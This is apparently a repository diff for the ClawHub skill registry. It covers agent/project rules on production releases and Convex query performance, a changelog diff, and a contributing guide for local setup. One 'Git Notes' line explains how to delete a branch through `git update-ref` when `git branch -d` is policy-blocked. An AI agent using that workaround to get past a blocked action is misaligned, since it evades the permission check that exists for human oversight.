- Reject PRs that add skills into source code/repo content directly (for example under `skills/` or seed-only additions intended as published skills). Skills must be uploaded/published via CLI.
## Production Release
- Production deploys are manual-only. Merging to `main` does **not** deploy.
- To release production, start the GitHub Actions `Deploy` workflow from `main`:
`gh workflow run deploy.yml --repo openclaw/clawhub --ref main`
- The workflow supports `full`, `backend`, and `frontend` targets.
- `frontend` currently means: wait for the Vercel production deploy for the selected `main` SHA, then run production smoke checks. It does not call `vercel deploy` directly yet.
- The workflow uses the GitHub `Production` environment for deploy secrets, but it does not require a separate approval step.
- Prod deploy secrets live on the `Production` environment, not as ordinary repo secrets. Required: `CONVEX_DEPLOY_KEY`. Optional: `PLAYWRIGHT_AUTH_STORAGE_STATE_JSON`.
- CLI npm releases are also manual-only and tag-based. Stable tags only: `vX.Y.Z`. Start `ClawHub CLI NPM Release` from `main`, first with `preflight_only=true`, then rerun it with the same tag and the successful `preflight_run_id`.
- Real CLI publishes wait at the GitHub `npm-release` environment and use npm trusted publishing. Required npm trusted publisher settings: repository `openclaw/clawhub`, workflow `clawhub-cli-npm-release.yml`, environment `npm-release`.
## Git Notes
- If `git branch -d/-D <branch>` is policy-blocked, delete the local ref directly: `git update-ref -d refs/heads/<branch>`.
## URL Quick Reference
- Canonical site: `https://clawhub.ai` (prefer this over legacy domains).
- Skill page URL format: `https://clawhub.ai/<owner>/<slug>` (owner handle preferred; falls back to owner id).
- Skill API detail URL: `https://clawhub.ai/api/v1/skills/<slug>`.
- Skill file URL: `https://clawhub.ai/api/v1/skills/<slug>/file?path=SKILL.md`.
- For “full URL?” requests, return the canonical page URL first, then API URL if useful.
## Configuration & Security
- Local env: `.env.local` (never commit secrets).
- Convex env holds JWT keys; Vercel only needs `VITE_CONVEX_URL` + `VITE_CONVEX_SITE_URL`.
- OAuth: GitHub OAuth App credentials required for login.
## Convex Ops (Gotchas)
- New Convex functions must be pushed before `convex run`: use `bunx convex dev --once` (dev) or `bunx convex deploy` (prod).
- For non-interactive prod deploys, use `bunx convex deploy -y` to skip confirmation.
- If `bunx convex run --env-file .env.local ...` returns `401 MissingAccessToken` despite `bunx convex login`, workaround: omit `--env-file` and use `--deployment-name <name>` / `--prod`.
## Convex Query & Bandwidth Rules
- **Always use `.withIndex()` instead of `.filter()` for fields that can be indexed.** `.filter()` causes full table scans — every doc is read and billed. Even a single `.filter()` on a 16K-row table reads ~16 MB per call.
- **Convex reads entire documents** — no field projections. If you only need a few fields from large docs (~6 KB+), denormalize a lightweight summary onto the parent doc or use a lookup table (see `embeddingSkillMap`, `skill.latestVersionSummary`, `skill.badges` for examples).
- **Denormalization pattern**: persist computed fields so they can be indexed. Every mutation that updates source fields must also update the denormalized field. Always write a cursor-based backfill for new fields (see `backfillIsSuspiciousInternal`, `backfillLatestVersionSummaryInternal`, `backfillDenormalizedBadgesInternal` for examples).
- **Cron jobs must never scan entire tables.** Use indexed queries with equality filters. Use cursor-based pagination for large datasets. Prefer incremental/delta tracking over full recounts.
- **32K document limit per query.** Split `.collect()` calls by a partition field (e.g., one day at a time instead of a 7-day range). See `rebuildTrendingLeaderboardAction` in `convex/leaderboards.ts` for an example.
- **Common mistakes**: `.filter().collect()` without an index; `ctx.db.get()` on large docs in a loop for list views; while loops that paginate the whole table to find filtered results.
- **Before writing or reviewing Convex queries, check deployment health.** Run `bunx convex insights` to check for OCC conflicts, `bytesReadLimit`, and `documentsReadLimit` errors. Run `bunx convex logs --failure` to see individual error messages and stack traces. This helps identify which functions are causing bandwidth issues so you can prioritize fixes.
+9 -180
View File
@@ -1,138 +1,29 @@
# Changelog
## 0.10.0 - 2026-04-05
## Unreleased
### Added
- Design system: introduce a shared UI component library (`src/components/ui/`) built on Radix UI primitives — Button, Card, Badge, Tabs, Dialog, Input, Textarea, Label, Select, Avatar, Separator, Tooltip, ScrollArea, Sheet, Skeleton, and Table — following the shadcn/ui pattern with `cn()` + Tailwind utilities.
- Design system: `Button` supports `asChild` via Radix Slot for polymorphic rendering (e.g., wrapping `<Link>` without extra DOM).
- Layout: add `Container` component with `narrow` / `default` / `wide` size presets and `Breadcrumb` component for hierarchical navigation.
- Loading: add skeleton loading states (`SkillCardSkeleton`, `SkillDetailSkeleton`, `DashboardSkeleton`) replacing text-based "Loading..." indicators with animated placeholders.
- Errors: add `ErrorBoundary` with `resetKey` prop that auto-resets on route changes, wired into the root layout.
- Errors: surface fallback messages from Convex API error payloads in mutation/action error toasts.
- UX: add `EmptyState` component with icon, headline, description, and optional CTA action used across dashboard, stars, profile, and publish pages.
- UX: add confirmation dialogs for destructive skill ownership actions (transfer, abandon).
- Markdown: add `MarkdownPreview` component with `react-markdown`, `remark-gfm`, and `react-syntax-highlighter` for rich rendering of skill/plugin READMEs with syntax-highlighted code blocks, GFM tables, and task lists.
- Markdown: render tables with the new `Table` UI primitive for consistent styling across skill docs.
- Navigation: replace DropdownMenu-based mobile nav with a slide-out `Sheet` panel.
- Validation: add Zod schemas (`src/lib/schemas.ts`) for publish-skill, settings, report, and org forms.
- Management: restore capability-tags UI (crypto, requires-wallet, can-make-purchases, etc.) that was silently removed during the initial refactor.
- Management: add `.catch()` error handling with toast feedback on `setSoftDeleted` calls; prompt for hide/restore reasons.
### Changed
- CSS: migrate from a monolithic 5,161-line `styles.css` to Tailwind utilities on components, pruning CSS to ~1,000 lines (81% reduction). Dark mode now uses Tailwind `dark:` variants via a `@variant dark` directive bridging existing CSS custom properties.
- Tailwind: add `@theme` block mapping all CSS design tokens (`--bg`, `--surface`, `--ink`, `--accent`, `--line`, `--radius-*`, etc.) into first-class Tailwind utilities.
- Pages: modernize all route pages (home, skills browse, skill detail, dashboard, settings, publish-skill, publish-plugin, import, about, CLI auth, stars, souls, user profile, org profile, management, plugins browse, plugin detail) from CSS class selectors to Tailwind + UI primitives.
- Skills browse: widen container to `wide` (1400px) for better use of screen space on desktop; same for plugins browse.
- Skills browse: replace text-based filter toggles with pill chips and modernize toolbar layout.
- Skill detail: migrate tab controls from CSS-styled buttons to Radix `Tabs` primitive with proper `role="tab"` accessibility.
- Skill detail: replace inline CSS class-based install card with `SkillInstallCard` using Card + Button primitives.
- Header/Footer: migrate from CSS classes to Tailwind utilities with responsive Sheet-based mobile navigation.
- Dashboard: replace CSS table layout with `Table` UI primitive; add metric cards and skeleton loading.
- Settings: modernize form inputs with `Input`/`Textarea`/`Label` primitives and structured layout.
- Publish: use `Dialog` primitive for modals; inline validation indicators; modernized file list display.
### Fixed
- Auth: `EmptyState` "Sign in" button on publish page now triggers GitHub OAuth via `useAuthActions` instead of linking to non-existent `/signin` route.
- API: fix plugins page dev-mode `{"error":"Only HTML requests are supported here"}` by routing SSR and localhost API fetches directly to the Convex site URL instead of through TanStack Start's request pipeline.
- API: fix CORS error when `credentials: "include"` conflicts with `Access-Control-Allow-Origin: *` by making credentials conditional on same-origin requests.
- API: fix SSR `packageApiUrl` to always use `VITE_CONVEX_SITE_URL` directly, avoiding `getRequestUrl()` failures when SSR request context is unavailable.
- Management: restore `setSoftDeleted` reason parameter for hide/restore actions.
- Tests: rename `settings.test.tsx` to `-settings.test.tsx` to exclude from TanStack Router's file-based route discovery.
- Tests: add `@convex-dev/auth/react` mock for `useAuthActions` in upload route tests.
- Tests: update skill detail tests for Radix tab roles (`role="tab"` instead of `role="button"`), skeleton loading classes (`animate-pulse`), and capability tag data.
- Tests: update skills index tests for refreshed UI copy (placeholder text, empty state wording, loading indicator patterns).
- Tests: update SkillDiffCard tests for Tailwind active-tab class (`shadow-sm` replacing `.is-active`).
- Tests: update packages publish route tests for Tailwind border classes.
- Tests: update packageApi tests for conditional credentials and SSR URL resolution.
## 0.9.0 - 2026-03-23
### Added
- Packages/Plugins: add a first-class OpenClaw package registry across the web app, CLI, and HTTP API. ClawHub now supports package browse/search/detail/version/file/download flows plus `clawhub package explore`, `clawhub package inspect`, and `clawhub package publish` for `skill`, `code-plugin`, and `bundle-plugin` packages. (#1093)
- Packages/Install: package downloads now ship install-ready archives with a `package/` root, support nested files like `dist/index.js`, and work directly with OpenClaw plugin install flows.
- Skills/Web: server-render public skill pages and OG assets for faster first loads, cleaner sharing previews, and better cache behavior.
### Changed
- Browse/Search: rebuild public browse/search around denormalized digests, one-shot HTTP fetches, and deterministic cursors so the homepage and `/skills` are faster, more cacheable, and less likely to hit stale-tab or pagination dead ends.
- Search: default skill search to relevance, keep load-more retryable after fetch failures, and tighten package/skill catalog query paths to reduce inconsistent results under load.
### Fixed
- Packages/Auth: authenticated owners can now list, search, inspect, download, and read files from their own private packages instead of private packages being direct-URL-only. (#1093)
- Packages/API: stabilize package latest-version pointers, cursor pagination, publish outputs, fallback release resolution, and app-origin auth handling so package publish/search/install flows stay reliable.
- Visibility/API: prevent skills owned by deleted/banned users from showing up in public detail pages, browse/search results, or version API routes.
- Skills/API: sanitize public skill and soul version/file reads so hidden or invalid version data does not leak through direct API access.
- Skills/Web: keep Monaco compare layout toggles reliable while defaulting narrow screens to inline mode (#828) (thanks @geoffrey-xiao).
## 0.8.0 - 2026-03-13
### Added
- Admin: add manual unban for banned users (clears `deletedAt` + `banReason`, audit log entry). Revoked API tokens stay revoked.
- Admin: bulk restore skills from GitHub backup; reclaim squatted slugs via v1 endpoints + internal tooling (#298) (thanks @autogame-17).
- Users: add `trustedPublisher` flag and admin mutations to bypass pending-scan auto-hide for trusted publishers (#298) (thanks @autogame-17).
- Skills/Web: show skill owner avatar + handle on skill cards, lists, and detail pages (#312) (thanks @ianalloway).
- Skills/Web: add file viewer for skill version files on detail page (#44) (thanks @regenrek).
- CLI: add `uninstall` command for skills (#241) (thanks @superlowburn).
- Skills/API/CLI: add ownership transfer workflow with request/list/accept/reject/cancel flows.
- Skills/Web/API: surface platform/architecture labels and security evaluation results in v1 + inspect views (#499, #362).
- API: add structured skill moderation responses plus `GET /api/v1/skills/{slug}/moderation` with redacted public evidence and full owner/staff detail (#334) (thanks @ArthurzKV).
- Moderation: persist structured moderation snapshots (static scan + VT/LLM merged verdict, reason codes, and evidence) on skills and versions (#333) (thanks @ArthurzKV).
- API: add scan security verification endpoint and non-suspicious filters (#820).
- Users: add `trustedPublisher` flag and admin mutations to bypass pending-scan auto-hide for trusted publishers (#298) (thanks @autogame-17).
- Moderation: add comment reporting with per-user active report caps, unique reporter/target enforcement, and auto-hide on the 4th unique report.
- Moderation: add AI-driven comment scam backfill (`commentModeration:*`) with persisted verdict/confidence/explainer metadata and strict auto-ban for `certain_scam` + `high` confidence.
- Admin: add manual unban for banned users (clears `deletedAt` + `banReason`, audit log entry). Revoked API tokens stay revoked.
- Admin: bulk restore skills from GitHub backup; reclaim squatted slugs via v1 endpoints + internal tooling (#298) (thanks @autogame-17).
- Moderation/Admin: add manual override audit tools for suspicious-skill review.
- CI/Security: add TruffleHog pull-request scanning for verified leaked credentials (#505) (thanks @akses0).
### Changed
- Skills: make published skill licensing explicit and fixed to MIT-0; require publish consent, surface no-attribution messaging in web/CLI/API, and remove per-skill license metadata.
- Skill metadata: support env vars, dependency declarations, author, and links in parsed manifest metadata + install UI (#360) (thanks @mahsumaktas).
- Rate limiting: apply authenticated quotas by user bucket (vs shared IP), emit delay-based reset headers, and improve CLI 429 guidance/retries (#412) (thanks @lc0rp).
- Skills: reserve deleted slugs for prior owners (90-day cooldown) to prevent squatting; add admin reclaim flow (#298) (thanks @autogame-17).
- Moderation: ban flow soft-deletes owned skills (reversible) and removes them from vector search (#298) (thanks @autogame-17).
- Security/docs: document comment reporting/auto-hide behavior alongside existing skill reporting rules.
- Security/moderation: add bounded explainable auto-ban reasons for scam comments and protect moderator/admin accounts from automated bans.
- Moderation: banning users now also soft-deletes their authored comments (skill + soul), including legacy cleanup on re-ban.
- Quality gate: language-aware word counting (`Intl.Segmenter`) and new `cjkChars` signal to reduce false rejects for non-Latin docs.
- Jobs: run skill stat event processing every 5 minutes (was 15).
- Deploy: add frontend/backend drift detection plus hardened production smoke/deploy checks.
- API performance: batch resolve skill/soul tags in v1 list/get endpoints (fewer action->query round-trips) (#112) (thanks @mkrokosz).
- Skills: reserve deleted slugs for prior owners (90-day cooldown) to prevent squatting; add admin reclaim flow (#298) (thanks @autogame-17).
- Moderation: ban flow soft-deletes owned skills (reversible) and removes them from vector search (#298) (thanks @autogame-17).
- LLM helpers: centralize OpenAI Responses text extraction for changelog/summary/eval flows (#502) (thanks @ianalloway).
- Rate limiting: apply authenticated quotas by user bucket (vs shared IP), emit delay-based reset headers, and improve CLI 429 guidance/retries (#412) (thanks @lc0rp).
- Search/listing performance: cut embedding hydration and badge read bandwidth via `embeddingSkillMap` + denormalized skill badges; shift stat-doc sync to low-frequency cron (#441) (thanks @sethconvex).
- Search/listing performance: move public browse/search hydration onto `skillSearchDigest`, add non-suspicious index paths, and split trending rebuilds to stay under Convex document limits.
### Fixed
- API: accept legacy CLI publish payloads during the v1 migration (#815).
- Auth/UI: surface OAuth callback failures in the web UI instead of swallowing them (#688).
- Skills: allow ownership healing when the previous owner was deleted/banned, and sanitize owner data in public payloads (#689, #793).
- CLI: validate explicit `install --force --version` targets before removing an existing local skill, preventing data loss when the requested version does not exist (#825) (thanks @jonathandeamer).
- Skills/Web: debounce search URL updates on `/skills` to keep typing responsive, and cancel stale pending navigations on external query changes (#587) (thanks @neeravmakwana).
- Upload: keep folder-picking enabled after page refresh by reapplying `webkitdirectory`/`directory` on the file input ref (#551) (thanks @MunemHashmi).
- CLI publish: use a longer multipart upload timeout and normalize abort rejections into proper Errors (#550) (thanks @MunemHashmi).
- CLI: forward optional auth tokens for `search` and `explore` against authenticated registries (#608) (thanks @artdaal).
- CLI: respect `HTTPS_PROXY`/`HTTP_PROXY`/`NO_PROXY` env vars for outbound registry requests, with troubleshooting docs (#363) (thanks @kerrypotter).
- CLI: preserve registry base paths when composing API URLs for search/inspect/moderation commands (#486) (thanks @Liknox).
- CLI: show manual URL guidance when automatic browser opening is unavailable; add regression tests for opener errors (#163) (thanks @aronchick).
- API/CLI: expose skill security status in version inspect output, with schema wiring and CLI regression coverage (#362) (thanks @abutbul).
- Moderation: remove over-broad keyword flags for common auth/payment/crypto terms so legitimate skills stop tripping regex prefilters (#273) (thanks @superlowburn).
- Skills hard-delete: delete `commentReports` rows during moderation cleanup to avoid orphaned report records.
- Comments: hide entries authored by deleted/deactivated users in `comments:listBySkill`.
- Admin API: `POST /api/v1/users/reclaim` now performs non-destructive root-slug owner transfer
(preserves existing skill versions/stats/metadata) and clears active slug reservations.
- VirusTotal: use shared AV-engine fallback verdict mapping for pending/backfill flows and keep undetected-only results pending (#591) (thanks @Shuai-DaiDai).
- Skills/listing: keep non-suspicious browse pagination on one cursor family during `isSuspicious` backfill, and re-sync stale `latestVersionSummary` metadata fields (#572) (thanks @sethconvex).
- PWA: update `manifest.json` branding so installed apps show the correct ClawHub name (#569) (thanks @Glucksberg).
- Search/tests: cover soft-deleted skill filtering in vector hydration and lexical exact-slug fallback (#552) (thanks @MunemHashmi).
- Docs/dev: fix local setup instructions for Node support, Convex env vars, frontend port, and post-seed stats refresh (#584) (thanks @jack-piplabs).
- Docs/CLI: fix `explore` flag list indentation so `--limit` renders correctly in the command reference (#601) (thanks @gandli).
- Skill metadata: parse top-level `requires.*`, `primaryEnv`, and homepage fallbacks for security review accuracy (#548) (thanks @MunemHashmi).
- Users: sync handle on ensure when GitHub login changes (#293) (thanks @christianhpoe).
- Users/Auth: throttle GitHub profile sync on login; also sync avatar when it changes (#312) (thanks @ianalloway).
- Upload gate: fetch GitHub account age by immutable account ID (prevents username swaps) (#116) (thanks @mkrokosz).
@@ -149,53 +40,20 @@
- Web: align `/skills` total count with public visibility and format header count (thanks @rknoche6, #76).
- Skills/Web: centralize public visibility checks and keep `globalStats` skill counts in sync incrementally; remove duplicate `/skills` default-sort fallback and share browse test mocks (thanks @rknoche6, #76).
- Moderation: clear stale `flagged.suspicious` flags when VirusTotal rescans improve to clean verdicts (#418) (thanks @Phineas1500).
- API tests: lock `Retry-After` behavior to relative-delay semantics for v1 search 429s (#421) (thanks @apoorvdarshan).
- CLI tests: assert 5xx HTTP responses still perform retry attempts before surfacing final error (#457) (thanks @YonghaoZhao722).
- GitHub import: improve storage/publish failure errors with actionable context; add regression tests for error formatting (#512) (thanks @vassiliylakhonin).
## 0.7.0 - 2026-02-16
Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:25Z`) and the repo version bump commit (`e352309`).
### Added
- Skills/Web: show owner avatars/handles across cards, lists, and detail pages (#312) (thanks @ianalloway).
- Skills/Web: add version file viewer on skill detail pages (#44) (thanks @regenrek).
- CLI: add `uninstall` for installed skills (#241) (thanks @superlowburn).
- Skills/Web: add non-suspicious browse filter, downloads-first browse defaults, and popular non-suspicious homepage sections.
- Web: compact-format skill and soul stats, plus split page models for skills/detail rendering.
- Skills: auto-generate missing summaries and add a resumable/self-scheduling summary backfill job.
- Moderation/Admin: add anti-spam publish caps, trust-tier quality checks, empty-skill cleanup tooling, and stronger moderator UX.
### Changed
- HTTP/CLI: centralize CORS handling and allow tokenized owner-visible reads through the CLI (#296, #297).
- API performance: batch resolve tags in v1 list/get flows to cut action-to-query round-trips (#112) (thanks @mkrokosz).
- Quality gate: add language-aware word counting and tighten spam/quarantine handling around publish flows.
### Fixed
- Skills/Web: fix initial sort wiring, keep global ordering across pagination, prevent pagination dead-ends/flicker, and harden cursor recovery (#92, #98, #339).
- CLI: normalize abort/timeout errors, secure config-file permissions, clarify logout semantics, and prefer `$HOME` for path resolution (#164, #166, #283, #286, #299).
- API: return correct delete/undelete status codes and clearer soft-delete/owner-visible error responses (#35) (thanks @sergical).
- Upload/Auth: gate publish ownership by immutable GitHub account ID and handle duplicate auth-user records safely.
- Downloads/Search: harden download dedupe/rate limiting, improve SSR host awareness, and fix homepage/search regressions under legacy data.
- CLI: respect `HTTPS_PROXY`/`HTTP_PROXY`/`NO_PROXY` env vars for outbound registry requests, with troubleshooting docs (#363) (thanks @kerrypotter).
## 0.6.1 - 2026-02-13
### Added
- Security: add LLM-based security evaluation during skill publish.
- Parsing: recognize `metadata.openclaw` frontmatter and evaluate all skill files for requirements.
### Changed
- Performance: lazy-load Monaco diff viewer on demand (thanks @alexjcm, #212).
- Search: improve recall/ranking with lexical fallback and relevance prioritization.
- Moderation UX: collapse OpenClaw analysis by default; update spacing and default reasoning model.
### Fixed
- Skills: fix initial `/skills` sort wiring so first page respects selected sort/direction (thanks @bpk9, #92).
- Search/UI: add embedding request timeout and align `/skills` toolbar + list width (thanks @GhadiSaab, #53).
- Upload gate: handle GitHub API rate limits and optional authenticated lookup token (thanks @superlowburn, #246).
@@ -208,20 +66,16 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
- Web: prevent horizontal overflow from long code blocks in skill pages (thanks @bewithgaurav, #183).
## 0.6.0 - 2026-02-10
### Added
- CLI/API: add `set-role` to change user roles (admin only).
- Security: quarantine skill publishes with VirusTotal scans + UI (thanks @aleph8, #130).
- Testing: add tests for badges, skillZip, uploadFiles expandDroppedItems, and ark schema error truncation.
- Moderation: add ban reasons to API/CLI and show in management UI.
### Changed
- Coverage: track `convex/lib/skillZip.ts` in coverage reports.
### Fixed
- Web: show pending-scan skills to owners without 404 (thanks @orlyjamie, #136).
- Users: backfill empty handles from name/email in ensure (thanks @adlai88, #158).
- Web: update footer branding to OpenClaw (thanks @jontsai, #122).
@@ -230,7 +84,6 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
## 0.5.0 - 2026-02-02
### Added
- Admin: ban users and delete owned skills from management console.
- Moderation: auto-hide skills after 4 unique reports; per-user report cap; moderators can ban users.
- Uploads: require GitHub accounts to be at least 7 days old for skill + soul publish/import.
@@ -239,30 +92,25 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
- Management: add filters for reported skills and users.
### Changed
- Deps: update dependencies to latest available versions.
- Reporting: require reasons, show them in management console, warn about abuse bans.
### Fixed
- Bans: batch hard-delete cleanup to avoid Convex read limits on large skills.
## 0.4.0 - 2026-01-30
### Added
- Web: show published skills on user profiles (thanks @njoylab, #20).
- CLI: include ClawHub + Moltbot fallback skill roots for sync scans.
- CLI: support OpenClaw configuration files (`OPENCLAW_CONFIG_PATH` / `OPENCLAW_STATE_DIR`).
### Changed
- Brand: rebrand to ClawHub and publish CLI as `clawhub` (legacy `clawdhub` supported).
- Domain: default site/registry now `https://clawhub.ai`; `.well-known/clawhub.json` preferred.
- Theme: persist theme under `clawhub-theme` (legacy key still read).
### Fixed
- Registry: drop missing skills during search hydration (thanks @aaronn, #28).
- CLI: use path-based skill metadata lookup for updates (thanks @daveonkels, #22).
- Search: keep highlighted-only filtering and clamp vector candidates to Convex limits (thanks @aaronn, #30).
@@ -270,7 +118,6 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
## 0.3.0 - 2026-01-19
### Added
- CLI: add `explore` command for latest updates, with limit clamping + tests/docs (thanks @jdrhyne, #14).
- CLI: `explore --json` output + new sorts (`installs`, `installsAllTime`, `trending`) and limit up to 200.
- API: `/api/v1/skills` supports installs + trending sorts (7-day installs).
@@ -278,20 +125,17 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
- Registry: trending leaderboard + daily stats backfill for installs-based sorts.
### Fixed
- Web: keep search mode navigation and state in sync (thanks @NACC96, #12).
## 0.2.0 - 2026-01-13
### Added
- Web: dynamic OG image cards for skills (name, description, version).
- CLI: auto-scan Clawdbot skill roots (per-agent workspaces, shared skills, extraDirs).
- Web: import skills from public GitHub URLs (auto-detect `SKILL.md`, smart file selection, provenance).
- Web/API: SoulHub (SOUL.md registry) with v1 endpoints and first-run auto-seed.
### Fixed
- Web: stabilize skill OG image generation on server runtimes.
- Web: prevent skill OG text overflow outside the card.
- Registry: make SoulHub auto-seed idempotent and non-user-owned.
@@ -301,20 +145,18 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
## 0.0.6 - 2026-01-07
### Added
### Added
- API: v1 public REST endpoints with rate limits, raw file fetch, and OpenAPI spec.
- Docs: `docs/api.md` and `DEPRECATIONS.md` for the v1 cutover plan.
### Changed
- CLI: publish now uses single multipart `POST /api/v1/skills`.
- Registry: legacy `/api/*` + `/api/cli/*` marked for deprecation (kept for now).
## 0.0.5 - 2026-01-06
### Added
- Telemetry: track installs via `clawhub sync` (logged-in only), per root, with 120-day staleness.
- Skills: show current + all-time installs; sort by installs.
- Profile: private "Installed" tab with JSON export + delete telemetry controls.
@@ -323,36 +165,30 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
- Web: dashboard for managing your published skills (thanks @dbhurley!).
### Changed
- CLI: telemetry opt-out via `CLAWHUB_DISABLE_TELEMETRY=1`.
- Web: move theme picker into mobile menu.
### Fixed
- Web: handle shorthand hex colors in diff theme (thanks @dbhurley!).
## 0.0.5 - 2026-01-06
### Added
- Maintenance: admin backfill to re-parse `SKILL.md` and repair stored summaries/parsed metadata.
### Fixed
- CLI sync: ignore plural `skills.md` docs files when scanning for skills.
- Registry: parse YAML frontmatter (incl multiline `description`) and accept YAML `metadata` objects.
## 0.0.4 - 2026-01-05
### Added
- Web: `/skills` list view with sorting (newest/downloads/stars/name) + quick filter.
- Web: admin/moderator highlight toggle on skill detail.
- Web: canonical skill URLs as `/<owner>/<slug>` (legacy `/skills/<slug>` redirects).
- Web: upload auto-generates a changelog via OpenAI when left blank (marked as auto-generated).
### Fixed
- Web: skill detail shows a loading state instead of flashing "Skill not found".
- Web: user profile shows avatar + loading state (no "User not found" flash).
- Web: improved mobile responsiveness (nav menu, skill detail layout, install command overflow).
@@ -361,24 +197,20 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
- CLI: ignore legacy `auth.clawdhub.com` registry and prefer site discovery.
### Changed
- Web: homepage search now expands into full search mode with live results + highlighted toggle.
- CLI: sync no longer prompts for changelog; registry auto-generates when blank.
## 0.0.3 - 2026-01-04
### Added
- CLI sync: concurrency flag to limit registry checks.
- Home: install command switcher (npm/pnpm/bun).
### Changed
- CLI sync: default `--concurrency` is now 4 (was 8).
- CLI sync: replace boxed notes with plain output for long lists.
### Fixed
- CLI sync: wrap note output to avoid terminal overflow; cap list lengths.
- CLI sync: label fallback scans as fallback locations.
- CLI package: bundle schema internally (no external `clawhub-schema` publish).
@@ -387,11 +219,9 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
## 0.0.2 - 2026-01-04
### Added
- CLI: delete/undelete commands for soft-deleted skills (owner/admin).
### Fixed
- CLI sync: dedupe duplicate slugs across scan roots; skip duplicates to avoid double-publish errors.
- CLI sync: show parsing progress while hashing local skills.
- CLI sync: prompt only actionable skills; preselect all by default; list synced separately; condensed synced summary when nothing to sync.
@@ -404,7 +234,6 @@ Reconstructed from the `clawhub@0.7.0` npm publish timestamp (`2026-02-16T05:02:
## 0.0.1 - 2026-01-04
### Features
- CLI auth: login/logout/whoami; browser loopback auth; token storage; site/registry discovery; config overrides.
- CLI workflow: search, install, update (single/all), list, publish, sync (scan workdir + legacy roots), dry-run, version bumping, tags.
- Registry/API: skills + versions with semver; tags (latest + custom); changelog per version; SKILL.md frontmatter parsing; text-only validation; zip download; hash resolve; stats (downloads/stars/versions/comments).
-47
View File
@@ -1,47 +0,0 @@
# ClawHub — Project Rules
## Convex Performance Rules
- For public listing/browse pages, use `ConvexHttpClient.query()` (one-shot fetch),
not `useQuery`/`usePaginatedQuery` (reactive subscription). Reserve reactive
queries for data the user needs to see update in real time.
- Denormalize hot read paths into a single lightweight "digest" table. Every
`ctx.db.get()` join adds a table to the reactive invalidation scope.
- When a `skillSearchDigest` row is available, use `digestToOwnerInfo(digest)`
to resolve owner data. NEVER call `ctx.db.get(ownerUserId)` when digest
owner fields (`ownerHandle`, `ownerName`, `ownerDisplayName`, `ownerImage`)
are already present. Reading from `users` adds the entire table to the
reactive read set and wastes bandwidth.
- Use `convex-helpers` Triggers to sync denormalized tables automatically.
Always add change detection — skip the write if no fields actually changed.
- Use compound indexes instead of JS filtering. If you're filtering docs after
the query, you're scanning documents you'll throw away.
- For search results scored by computed values (vector + lexical + popularity),
fetch all results once and paginate client-side. Don't re-run the full search
pipeline on "load more."
- Backfills on reactively-subscribed tables need `delayMs` between batches.
- Mutations that read >8 MB should use the Action → Query → Mutation pattern
to split reads across transactions.
## Convex Conventions
- All mutations import from `convex/functions.ts` (not `convex/_generated/server`)
to get trigger wrapping. Type imports still come from `convex/_generated/server`.
- NEVER use `--typecheck=disable` on `npx convex deploy`.
- Use `npx convex dev --once` to push functions once (not long-running watcher).
## Production Release
- Production deploys are manual-only. Merging to `main` does **not** deploy.
- Start the GitHub Actions `Deploy` workflow from `main` with `gh workflow run deploy.yml --repo openclaw/clawhub --ref main`.
- The workflow supports `full`, `backend`, and `frontend` targets.
- `frontend` currently waits for the Vercel production deploy on the selected `main` SHA and then runs smoke checks. It does not trigger Vercel directly yet.
- The workflow uses the `Production` environment for deploy secrets, but it does not wait for a separate approval.
- Required prod secret: `CONVEX_DEPLOY_KEY` on the `Production` environment. Optional smoke secret: `PLAYWRIGHT_AUTH_STORAGE_STATE_JSON`.
- CLI npm releases are manual-only and tag-based through `ClawHub CLI NPM Release`. Stable tags only: `vX.Y.Z`. Run a `preflight_only=true` pass first, then rerun with the same tag plus `preflight_run_id` for the real publish.
- Real CLI publishes wait at `npm-release` and rely on npm trusted publishing for `openclaw/clawhub` + `clawhub-cli-npm-release.yml` + `npm-release`.
## Testing
- Tests use `._handler` to call mutation handlers directly with mock `db` objects.
- Mock `db` objects MUST include `normalizeId: vi.fn()` for trigger wrapper compatibility.
-192
View File
@@ -1,192 +0,0 @@
# Contributing to ClawHub
Welcome! ClawHub is the public skill registry for [OpenClaw](https://github.com/openclaw/openclaw). We appreciate bug fixes, documentation improvements, and feature contributions.
- **Questions?** Ask in [#clawhub on Discord](https://discord.gg/clawd).
- **Bug fixes** — PRs are welcome.
- **New features or architectural changes** — please start with a Discord conversation in #clawhub first so we can align on scope.
## Local Development Setup
### Prerequisites
- [Bun](https://bun.sh/) (Convex CLI runs via `bunx`, no global install needed)
- [Node.js](https://nodejs.org/) v18, 20, 22, or 24 (required by the local Convex backend; v25+ is not yet supported)
### Install and configure
```bash
bun install
cp .env.local.example .env.local
```
Edit `.env.local` with the following values for **local Convex**:
```bash
# Frontend
VITE_CONVEX_URL=http://127.0.0.1:3210
VITE_CONVEX_SITE_URL=http://127.0.0.1:3210
SITE_URL=http://localhost:3000
# Deployment used by `bunx convex dev`
CONVEX_DEPLOYMENT=anonymous:anonymous-clawhub
```
### GitHub OAuth App (for login)
1. Go to [github.com/settings/developers](https://github.com/settings/developers) and create a new OAuth App.
2. Set **Homepage URL** to `http://localhost:3000`.
3. Set **Authorization callback URL** to `http://127.0.0.1:3210/api/auth/callback/github`.
4. Copy the Client ID and generate a Client Secret.
### Run the Convex backend
Start the local Convex backend first — other setup steps depend on it:
```bash
bunx convex dev --typecheck=disable
```
### Set backend environment variables
The Convex backend has its own env var store separate from `.env.local`. With the backend running, open a new terminal and set the required variables:
```bash
bunx convex env set AUTH_GITHUB_ID <your-client-id>
bunx convex env set AUTH_GITHUB_SECRET <your-client-secret>
bunx convex env set SITE_URL http://localhost:3000
```
### JWT keys (for Convex Auth)
With the backend still running, generate the signing keys:
```bash
bunx @convex-dev/auth
```
This sets `JWT_PRIVATE_KEY` and `JWKS` on the Convex backend and outputs values you can also save to `.env.local` for reference.
### Run the frontend
```bash
bun run dev -- --port 3000
```
